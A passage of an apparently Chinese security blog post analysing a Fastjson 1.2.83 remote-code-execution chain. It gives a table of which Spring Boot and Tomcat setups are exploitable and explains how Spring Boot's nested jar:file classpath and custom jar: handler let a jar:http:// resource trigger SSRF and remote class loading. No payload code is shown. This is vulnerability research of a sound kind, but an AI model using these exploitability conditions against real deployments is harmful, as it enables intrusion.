data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">✅</span></span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n361" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 44.75px;min-height: 10px;" data-nest-level="7"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="8"><strong style="box-sizing: border-box;" data-nest-level="9"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="10"><span leaf=""><span textstyle="" style="font-size: 16px;">可利用</span></span></span></strong></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n363" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 166.42px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">SB WAR（外部 Tomcat）</span></span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n364" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 387.446px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">ParallelWebappClassLoader</span></span></code></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n365" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 109.518px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">file:</span></span></code></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n366" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 122.438px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">❌</span></span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n367" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 44.75px;min-height: 10px;" data-nest-level="7"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="8"><strong style="box-sizing: border-box;" data-nest-level="9"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="10"><span leaf=""><span textstyle="" style="font-size: 16px;">不可利用</span></span></span></strong></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n369" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 166.42px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">SB WAR（外部 Jetty）</span></span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n370" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 387.446px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">WebAppClassLoader</span></span></code></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n371" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 109.518px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">file:</span></span></code></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n372" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 122.438px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">❌</span></span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n373" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 44.75px;min-height: 10px;" data-nest-level="7"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="8"><strong style="box-sizing: border-box;" data-nest-level="9"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="10"><span leaf=""><span textstyle="" style="font-size: 16px;">不可利用</span></span></span></strong></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n375" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 166.42px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">纯 Tomcat + Fastjson</span></span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n376" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 387.446px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">ParallelWebappClassLoader</span></span></code></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n377" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 109.518px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">file:</span></span></code></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n378" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 122.438px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">❌</span></span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n379" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 44.75px;min-height: 10px;" data-nest-level="7"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="8"><strong style="box-sizing: border-box;" data-nest-level="9"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="10"><span leaf=""><span textstyle="" style="font-size: 16px;">不可利用</span></span></span></strong></span></span></td></tr></tbody></table></figure><hr style="box-sizing: content-box;height: 2px;margin: 16px 0px;border: 0px none;padding: 0px;background-color: rgb(231, 231, 231);overflow: hidden;"/><p cid="n381" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">那么为什么是SPringBoot呢？</span></span></span></strong></span></p><p cid="n382" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">除了前面不是条件的条件以外，想要走通这条链路。</span></span></span></p><p cid="n383" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">还必须要求当前URLClassPath必须包含jar:file根。</span></span></span></strong></span></p><p cid="n384" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">而Spring Boot 为了加载依赖。他会构造类似于jar:file的嵌套根</span></span></span></p><pre spellcheck="false" lang="javascript" cid="n385" mdtype="fences" style=" white-space: pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 16px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em; " data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">jar</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">:</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">file</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">:</span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/path/</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">app</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">jar</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">!</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/BOOT-INF/</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">classes</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">!</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/</span></span></span></span></pre><ul style=" box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=" box-sizing: border-box;margin: 0px;  "><p cid="n388" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 1;margin: 16px 0px 0.5rem;white-space: pre-wrap; text-indent: 0px;text-align: left; " data-nest-level="4"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="5"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="6"><span leaf=""><span textstyle="" style="font-size: 16px;">file:/path/to.jar</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;"> → URLClassPath 创建 JarLoader → 这个 JarLoader 只管</span></span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="5"><strong style="box-sizing: border-box;" data-nest-level="6"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="7"><span leaf=""><span textstyle="" style="font-size: 16px;">在该 JAR 内部查找 entry</span></span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">。它用的是</span></span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="5"><strong style="box-sizing: border-box;" data-nest-level="6"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="7"><span leaf=""><span textstyle="" style="font-size: 16px;">标准 JDK 的</span></span></span></strong></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="5"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="6"><span leaf=""><span textstyle="" style="font-size: 16px;">jar:</span></span></code></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="5"><strong style="box-sizing: border-box;" data-nest-level="6"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="7"><span leaf=""><span textstyle="" style="font-size: 16px;">协议处理器</span></span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">，只能处理 </span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="5"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="6"><span leaf=""><span textstyle="" style="font-size: 16px;">jar:file:</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;"> 本地 URL。</span></span></span></p></li><li style=" box-sizing: border-box;margin: 0px;  "><p cid="n390" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 1;margin: 16px 0px 0.5rem;white-space: pre-wrap; text-indent: 0px;text-align: left; " data-nest-level="4"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="5"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="6"><span leaf=""><span textstyle="" style="font-size: 16px;">jar:file:/path/to.jar!/</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;"> → URLClassPath 创建 JarLoader → Spring Boot 启动时通过 </span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="5"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="6"><span leaf=""><span textstyle="" style="font-size: 16px;">registerUrlProtocolHandler()</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;"> 注册了</span></span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="5"><strong style="box-sizing: border-box;" data-nest-level="6"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="7"><span leaf=""><span textstyle="" style="font-size: 16px;">自定义</span></span></span></strong></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="5"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="6"><span leaf=""><span textstyle="" style="font-size: 16px;">jar:</span></span></code></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="5"><strong style="box-sizing: border-box;" data-nest-level="6"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="7"><span leaf=""><span textstyle="" style="font-size: 16px;">协议处理器</span></span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">。当这个 JarLoader 遇到资源名 </span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="5"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="6"><span leaf=""><span textstyle="" style="font-size: 16px;">jar:<a href="http://..." target="_blank">http://...</a></span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;"> 时，自定义处理器能把它解析为远程 URL，触发 SSRF。</span></span></span></p></li></ul><p cid="n391" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">所以Spring Boot Fat Jar 是已知容易满足该 URL 解析条件的环境之一</span></span></span></p><p cid="n392" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">这样一来，这个漏洞的限定条件就变成了</span></span></span></p><ul style=" box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=" box-sizing: border-box;margin: 0px;  "><p cid="n395" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 1;margin: 16px 0px 0.5rem;white-space: pre-wrap; text-indent: 0px;text-align: left; " data-nest-level="4"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="5"><strong style="box-sizing: border-box;" data-nest-level="6"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="7"><span leaf=""><span textstyle="" style="font-size: 16px;">该fastjson环境下的默认Classloader，继承URLClassLoader（或复用 URLClassPath），没有做额外的URLLoader限制，并且当前URLClasspath必须包含jar:file根，即可存在利用</span></span></span></strong></span></p></li></ul><h1 cid="n396" mdtype="heading" style=" box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 16px;margin-bottom: 1rem; font-weight: bold;line-height: 1.6em;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">作者公开原文</span></span></span></h1><p cid="n397" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">在漏洞细节被逐步推演出来之后，在7月22日，漏洞最早的发现者公开了他们研究的细节。</span></span></span></p><p cid="n398" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;"><a href="https://fearsoff.org/cn/research/fastjson-1-2-83-rce" target="_blank">https://fearsoff.org/cn/research/fastjson-1-2-83-rce</a></span></span></span></p><p cid="n399" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">有趣的是，相比于我们的AI复现逻辑，该作者挖掘漏洞的逻辑源于一个偶然，就像我说的，这种利用链路在常规的环境下是无法完成的，但是如果刚好复现中触发了远程加载后续的很多想法都顺利成章，所以最早的巧合就很有趣。</span></span></span></p><p cid="n400" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="image" data-src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221546597.png" style=" box-sizing: border-box;min-width: 10px;min-height: 10px; word-break: break-all;font-family: monospace;display: inline-block;width: 964px; " data-nest-level="3"><span leaf=""><img alt="img" class="rich_pages wxw-img" data-imgfileid="100000688" 